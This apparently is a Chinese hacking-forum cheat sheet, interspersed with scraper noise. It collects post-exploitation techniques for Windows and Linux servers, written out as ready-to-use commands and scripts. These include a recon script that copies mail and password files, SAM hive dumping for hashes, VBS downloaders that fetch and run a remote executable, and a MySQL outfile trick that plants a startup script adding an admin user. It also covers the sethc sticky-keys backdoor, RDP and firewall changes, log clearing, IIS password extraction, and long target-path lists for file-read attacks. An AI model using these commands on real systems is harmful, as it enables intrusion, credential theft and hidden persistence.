若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
( O' b0 U0 _" U, k那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
; X4 J! b0 ]3 ^& p- g2 p}  

$ O. q% _$ C6 }( n' D. \! |提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
5 j) z0 U2 f+ x, t命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

1 ^3 k4 A% K2 u- e+ H@echo off
% q/ o$ x1 m* e/ }  Becho #########system info collection
systeminfo
ver
' s& j3 e' i. ]9 c* Y4 Xhostname
2 |# w  _+ D  i0 wnet user
- V' I: R8 N8 u( _: Mnet localgroup
net localgroup administrators
net user guest
! _  z0 D7 `$ e; k# T* Tnet user administrator

5 N- ~) D3 ~) o+ B& iecho #######at- with   atq#####
: h& U: Q2 c1 j3 y7 ?echo schtask /query
* Y1 o' N4 L1 Y. Y8 i2 a" |( J
echo
- ^$ R/ f  }: r1 Jecho ####task-list#############
tasklist /svc
echo
! _; |- W$ V/ o9 iecho ####net-work infomation
* h1 F- X+ V- r; D9 b  `( Aipconfig/all
+ L0 ?$ a* D. T. v. kroute print
arp -a
netstat -anipconfig /displaydns
6 R( _' z$ X" w$ ?echo
6 u5 K9 r3 H2 x: Y1 B- O4 necho #######service############
sc query type= service state= all
echo #######file-##############
) N8 H( t: ~8 M( X8 bcd \
0 g9 F1 X0 Z, T% m: h: B8 @9 j5 vtree -F
for linux：
& F7 V9 L+ ?, x
1 {: C5 f! s  [6 Z& s7 V( m#!/bin/bash
/ ]0 x, ~( G- B2 E: b  `8 v) |
echo #######geting sysinfo####
: r3 G2 z  G6 L9 G' ~' `; Xecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
+ I+ V, `' ^) p3 x0 q5 hecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
) Q, R& X1 x9 @/ |6 Y, g$ M( Secho
! T7 M/ e3 L, j; w7 |; jrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
+ {/ P* C2 b; y; A9 J" P/ z8 u9 X% Y" d
" N5 `- B5 M9 }2 I  y
. m# k0 `8 B2 c( Z6 M  aecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
( v* @0 M! d0 `  kset

echo #####about network###
% y$ b4 H6 i6 S( y7 F####this is then point in pentest,but i am a new bird,so u need to add some in it
& f0 p3 L' o6 H7 Qcat /etc/hosts
" m4 W& V) }; {3 thostname
/ G, e8 c4 g& K7 @* l. I5 Vipconfig -a
arp -v
echo ########user####
3 J& A& M* l: Bcat /etc/passwd|grep -i sh
! s0 z# O+ [  s' `" |2 U0 ]
/ w8 _" a$ F% _; l' _  becho ######service####
chkconfig --list
- S+ T! u- K; `) q
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
7 h2 u" E' y& _/ _( N9 C, [( c
locate passwd >/tmp/password 2>/dev/null
( w% {% t3 ?# G- k2 Qsleep 5
locate password >>/tmp/password 2>/dev/null
5 j, |  D1 J6 Z0 |sleep 5
5 U, }0 f; Y, E$ C+ L! e. nlocate conf >/tmp/sysconfig 2>dev/null
& _, B/ @/ G. W- nsleep 5
0 W* z7 t9 v( E/ @" g$ b* Ylocate config >>/tmp/sysconfig 2>/dev/null
$ {& Y0 \' M' V8 Q0 a6 R3 s: ~' ksleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
, u7 X4 G6 x6 Q) U0 J               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
$ [& Y1 W7 v2 t; j) r接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
) s4 G# Y% _1 ?/ u* zhash 抓完了记得把自己的账户密码改过来哦！
7 z8 h# U$ L. l据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
6 z  ]5 z1 ]) g: N/ S! h& |——————————————
! J2 s4 C# ?! U* X( J  b3 ?4、vbs 下载者
! z: U( y) B6 e1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
4 @$ E6 D. s" R: ^% f0 jecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
  q! Y* ^: K0 s$ G* c) Iecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
* T/ |" t3 C7 P& }/ f, ]echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
# g* p' c% r) f  w! p. Z6 Uecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
8 G! l! q- E6 |& r- c* c5 ?* q4 U1 j& \s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
; B$ C6 M, Z2 l0 x* s# B" z. lSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5 ]# T1 t. s; t5、
" D( t+ ~6 k; Z0 Z2 m: z1.查询终端端口
) R; l4 j* d0 [9 [4 D) H7 fREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
; t. J+ M0 E7 ]( w; D$ WREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
0 B* t. c4 r& J& |, \; f7 e! J4 g! xREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
* W2 T+ S4 k! G4 ]* G) einsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
1 N* r8 W9 q; A* f————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
% _$ \+ w& J) G+ j: z7 G/ ~) s8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
- @7 L) N) n: y  Q' H. ~/ n0 V  
  for /d %i in (???) do @echo %i

: ]4 d4 G1 O1 r5 A# o% Z把当前路径下文件夹的名字只有1-3个字母的打出来

: V& P% d5 \6 d- w: ?& H! h0 ]$ @' r2.for /r %i in (*.exe) do @echo %i
  
4 \; s! p+ i6 Z& [) W/ o! i以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

2 X! y( K4 Q& o. R/ z" Y+ c  S3.for /f %i in (c:\1.txt) do echo %i
* [6 L+ k) E" Z! R7 x  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
, \& l) h) E/ M- W: P! f* Z0 l——————————
- V  \. A3 ]6 ^. I●注册表:
6 N- ^( M( V- y7 g4 C1.Administrator注册表备份:
' s5 E# U. p% C" B" ]reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
. G( Z3 a( J4 T( S
% w" R& E: _* `' @2.修改3389的默认端口:
0 N( ]& s7 _  u; z! K' YHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
9 {) E- [2 ?) r: s% h( T: w5 C
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

' S5 t; W' j0 o4 o3 p4 t* `5.禁用TCP/IP端口筛选(需重启):
6 `! F" d7 V2 M$ X! fREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
$ B# w! k% p  v1 i! }- ~2 Q
& q* y1 Q( m/ w4 @8 C. R' ^6.IPSec默认免除项88端口(需重启):
* x7 Z7 b2 a8 ereg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
7 _4 F- r7 b  r5 P3 i& ]/ p或者
netsh ipsec dynamic set config ipsecexempt value=0
+ U. [, {$ A( V0 R
4 L, L0 k- D6 P$ E1 `% m  a+ y7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
9 ?8 E/ k- s1 ]9 ]7 b
( ?7 F! \9 c/ T" J) ^8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
8 D; ~) |6 {2 I0 C) C
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
7 [. k5 ]! G6 q" w1 G  K
. s/ w2 H3 T3 x& d* }: Q4 }10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

, o" P9 h. D: U* Creg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
+ h$ `4 b$ t7 s) k. y0 O) @if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
* m# X, I8 G9 hif err.number<>0 then
exit for
msgbox("error!")
% P( P4 g8 T) q7 ^1 Awscript.quit
) x/ v; z, U: p4 V3 uend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
7 k& D; `2 [1 F" R5 l4 u' _pass=iisweb.AnonymousUserPass
2 h( J' [9 h- b: {path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
  F5 W1 K6 a! q% Jend if
. K1 h6 B: I" `% O9 w3 Q5 W1 xNext
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
! M/ Q2 ~$ @+ s' _5 b6 `3 r" W& k1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
' S! p- s( e0 \. v2 u  f/ V$ }3 `2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
/ {9 N' |% K, R将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
- f& A% g, C% }  L8 [% ]$ h0 A复制代码
% B2 K& d1 i8 Q8 h* m  J然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
/ u. S* Q$ v' n% B7 E3 O# gPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
3 t" o: X! m7 s8 Z/ ?- C- j9 A: Vasp代码，利用的时候会出现登录问题
; b2 |- l; s8 @7 F  ~ 原因是ASP大马里有这样的代码：（没有就没事儿了）
6 a# e' x6 b& [* }4 K9 g, @ url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
: ~2 Q0 L5 W1 r9 W) G0 j url=request.severvariables("path_info")
+ R" |% n& y- E path_info可以直接呈现虚拟路径 顺利解析gif大马
5 K* A& D. @0 \6 H3 }, M: f
8 H0 L" e8 X- |) |( f==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
% y( `7 T- q5 @1 d0 y# d! B/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
& q! W3 {: s& B+ R& H' a/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
  T. t0 ~* i! F2 K# u6 b& X- u/var/httpd/conf/php.ini
/var/www/index.html
% p% t( c* |& z8 u9 I4 n4 c: f/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
- m( H  ^0 U7 J7 d6 Q( m9 Y7 d! d/usr/local/apache/htdocs/index.html
: O* L" F  j, p/usr/local/apache/htdocs/index.php
, g0 q- x- ~! i  i9 \/usr/local/apache2/htdocs/index.html
- R' G: v: c+ m- g& ]& D/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
) u4 K% F! P% y. T9 [& \/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
, x" Z, r  _4 x1 v; Y/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
3 X2 o- g: L5 s* k& P' R6 ]/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
2 D) N% q, W6 x/ n) B1 v/www/php5/php.ini
- ^; y7 w, x1 ^, o. d9 o/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
% ?% H: i; O6 j- ]' U  N5 b: G/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
& D. `; L8 Z- u1 k7 w# l/apache/apache2/conf/httpd.conf
2 z9 N) ], F- o5 \( V- Q9 ?6 V/etc/apache/apache.conf
/etc/apache2/apache.conf
$ ]4 z4 r# b* a$ S% v9 }/etc/apache/httpd.conf
5 S* X. P& q3 E; W% b6 p/etc/apache2/httpd.conf
4 k' M! f: H) z: @; f/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
' V) \, V0 y! D2 q* X4 v( [/etc/httpd/conf.d/httpd.conf
6 S& v8 _( X% M* {/etc/httpd/logs/error_log
& _$ ]0 \6 [. [9 a9 p/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
7 a$ h. u6 u1 N2 `& d) a/etc/httpd/logs/access.log
! o3 f1 x" t$ U' ]* O1 w5 J/home/apache/conf/httpd.conf
2 a/ j5 l9 A' ?  G% k7 O+ Y/home/apache2/conf/httpd.conf
/var/log/apache/error_log
9 c% _7 u8 S* Z9 s' U) M* t/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
9 S) L3 W! e, t% \" p/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
9 [# A0 f0 l5 W' ?/var/www/logs/access_log
/var/www/logs/access.log
2 q9 C7 V1 v$ i: G9 O$ t& D/usr/local/apache/logs/error_log
  q3 I  O1 e; t/usr/local/apache/logs/error.log
) o+ {. Q1 b! Y9 ^0 s/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
! b) ]' i' r( U' l6 T, k  `7 Y$ R/var/log/error_log
' S' M. u; F) b' c0 F$ Y: n/var/log/error.log
: \" B, I$ w7 H- ~5 g% P; S+ Y* e' r/var/log/access_log
- {% Y5 \. _0 [* m3 p- e/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
" r: ~9 T! {2 s/ k. T% i/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
4 _" k) J# @* x/etc/init.d/mysql
/etc/httpd/php.ini
% i( E2 [) Y* W1 j. c5 Q9 c/usr/lib/php.ini
- y- K" Q' p+ J/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
+ }/ \% U3 N1 D/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
( `: T* u$ C4 I6 f/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
: D& x9 F7 h+ q) ~& Q/usr/local/apache/conf/php.ini
6 K4 K" j7 r% C% w7 o0 M; x/usr/local/apache/conf/httpd.conf
) d7 X) K/ r) v! Q) f0 P/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
1 [6 @# E5 C! e4 M/etc/php5/apache/php.ini
6 j4 a+ r5 ]! s! M, R# Y/etc/php5/apache2/php.ini
8 F! e  ]( [& q1 G/etc/php/php.ini
  h' W0 g/ `6 g9 k/ ~/etc/php/php4/php.ini
/etc/php/apache/php.ini
5 W) O9 {  o, g# R, P/etc/php/apache2/php.ini
; A, l, e; e  ^8 `/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
9 F" m9 r2 f7 V/ A& Q/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
0 \6 _0 |2 R( i* ^/etc/php4/cgi/php.ini
6 S! z8 p9 p. S! V$ I: r+ _1 r/etc/php5/cgi/php.ini
/php5/php.ini
& T! U# @; K" {6 b/php4/php.ini
+ e; _2 _  S9 v! k) f- h' I/php/php.ini
8 B$ S/ R7 \. j& i" p0 g$ k& J/PHP/php.ini
! Q2 B8 Q: M- e7 t. C+ \- V/apache/php/php.ini
% A" G% j" m# f: R. W/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
8 t4 R9 e4 K' A7 I0 F: Z) n2 C/ |/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
5 s4 N4 W2 z8 J! G# q/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
2 A: c7 `7 A8 c/ F* ^/var/log/mysql/mysql-slow.log
+ P1 u8 o3 A; Z! J3 M/var/mysql.log
/var/lib/mysql/my.cnf
5 A( [1 _& `) `% O: q: `/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
5 f  X5 [) L$ |: r2 b/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
1 k+ R9 `! P2 [/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
: X8 b& F! R8 d+ q/usr/local/share/examples/php4/php.ini
. d% V- N/ d( U4 V) t: R- H- D/usr/local/share/examples/php/php.ini

: c1 m8 B& G7 X5 F2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
1 \2 G" A7 ~3 Q6 O# Y
. Q2 n: u4 N$ A0 o$ j! Sc:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

* y- Y- |5 x$ c; P7 i/ ec:\CMailServer\config.ini
- s% z; J, u. }' yc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
5 a; G* B  T7 l& b; U8 Cc:\program files\CMailServer\WebMail\index.asp
0 Z- T* K. ^2 Y* V3 B) U( QC:\WinWebMail\SysInfo.ini
' j2 A. s- b: @) t7 |+ U( O2 yC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
$ U: [" ]) i6 xC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
+ k) g  F  C0 O& l* d3 a" y
c:\hzhost\databases\url.asp
+ D* w* P' T0 b6 S  F+ Q
/ A$ q; _* D+ z4 [" g* bc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

& L( g$ d& A: l+ FC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
. G$ Y# N6 x  F; H. U! ^C:\WINDOWS\web.config
c:\web\index.html
2 x( g% M/ t3 gc:\www\index.html
0 o- O5 W: f: J6 F: Rc:\WWWROOT\index.html
3 O7 ?8 V% v' q: {3 u! rc:\website\index.html
6 I, V; S5 ]9 J7 y' m9 \0 Zc:\web\index.asp
# _1 l* b( T+ P! o: N, p# e% Xc:\www\index.asp
, l  B( X$ D* ]7 {5 tc:\wwwsite\index.asp
: |$ e6 P- A  |) P* x/ P5 ~; Qc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
0 Z. [# g# T; \. s" M0 u9 [' Qc:\web\default.html
) c* n0 I3 T% X- w$ ~  g5 Vc:\www\default.html
* h" s  u$ W  }& Dc:\WWWROOT\default.html
+ X" K( a% O! x6 F) |0 i% fc:\website\default.html
c:\web\default.asp
$ E+ ~. }6 I/ s& ~: V- Uc:\www\default.asp
c:\wwwsite\default.asp
2 ~7 j* h7 U5 N+ ]c:\WWWROOT\default.asp
+ J  Z2 U, x+ i( t: ec:\web\default.php
/ Z% ?! \' w, k8 t0 K( X, L4 E% pc:\www\default.php
' N9 ^+ d" ?+ |% ]* F6 ?: z5 v  L* Nc:\WWWROOT\default.php
c:\WWWsite\default.php
+ `4 \: a7 n# |' uC:\Inetpub\wwwroot\pagerror.gif
' V: I7 Z' E3 ~c:\windows\notepad.exe
7 o2 V2 R/ K& Y# Q2 Y7 K) nc:\winnt\notepad.exe
. F8 }; ~  Z, G+ }# F+ mC:\Program Files\Microsoft Office\OFFICE10\winword.exe
  H0 L+ M/ V  }* @( z( CC:\Program Files\Microsoft Office\OFFICE11\winword.exe
) d% \& x4 [& C+ T/ |( tC:\Program Files\Microsoft Office\OFFICE12\winword.exe
3 A+ [' ^2 V( ?; _3 G& B! LC:\Program Files\Internet Explorer\IEXPLORE.EXE
+ K1 y' V0 O( a# S: G8 f0 T: H6 P2 @C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
% N& L3 w; K. N7 {6 I3 D6 hc:\ravbin\store.ini
2 v3 ^6 U  m) L4 F2 O  e- }7 }2 U. }c:\rising.ini
2 r* v: v" k7 ^C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
& N/ u$ T; r# r8 [, ]C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
+ r4 K1 E( v" M. }5 OC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
3 V* ~  h1 I' h1 k" o$ pC:\Documents and Settings\Administrator\My Documents\1.txt
$ A! Q/ Q" Z" sC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
, C/ m$ a1 t2 Z7 D9 @& T1 eE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
8 ?7 T9 m4 J) C) P& s( e( QC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
( D- a  _4 ^, ]; q" P2 EC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
; R% A: u" |! c9 s) K& tC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
% y# e, I) R5 |6 H* \3 O6 L: X( J1 TC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
+ {- a7 [1 B5 L" @# ZC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
: t/ N5 L- Z- H, {; R. tc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
3 c2 ?1 V' t7 N' NC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
* o0 U" P% A0 m2 VC:\WINDOWS\system32\inetsrv\MetaBase.xml
% J( D0 h( ]' R3 W" W. FC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
7 m! f/ c+ _& |% p, q% B' KC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
4 j! w* ~8 k7 P6 Ac:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
5 p) z9 H3 v! a- Fc:\tomcat6\tomcat6\bin\version.sh
# d6 g  O+ C2 h" b7 {3 G" ic:\tomcat6\bin\version.sh
+ |* Y3 u! g1 B3 e& m5 U" mc:\tomcat\bin\version.sh
% r: T+ c# c8 }c:\program files\tomcat6\bin\version.sh
5 Z* z3 j. h# W+ q- sC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
, H) S; J9 \# ^. O6 y9 l6 M5 f6 Mc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
5 \' q5 ]. V8 @1 M4 l, @c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
* t' }2 R* h3 w2 k: Zc:\Apache2\php\license.txt
: `9 p. c* r0 ]7 ~, E2 Q! YC:\Program Files\Apache Group\Apache2\bin\Apache.exe
* L2 `) j" }5 o/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
, J# ~3 f8 _4 E  e( mc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
2 j+ y6 o  O7 c3 \% @. }8 tc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
6 L, Q9 P& s- m, p$ O8 w; nc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
* V3 K, R9 g0 h, _& fC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
5 |; {/ B: L  y- M. H2 [8 xc:\Program Files\Tencent\RTXServer\AppConfig.xml
9 s+ J& Z- D: W7 M5 V$ {# xC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
! V) e$ ~& u4 u+ ]8 S+ PC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
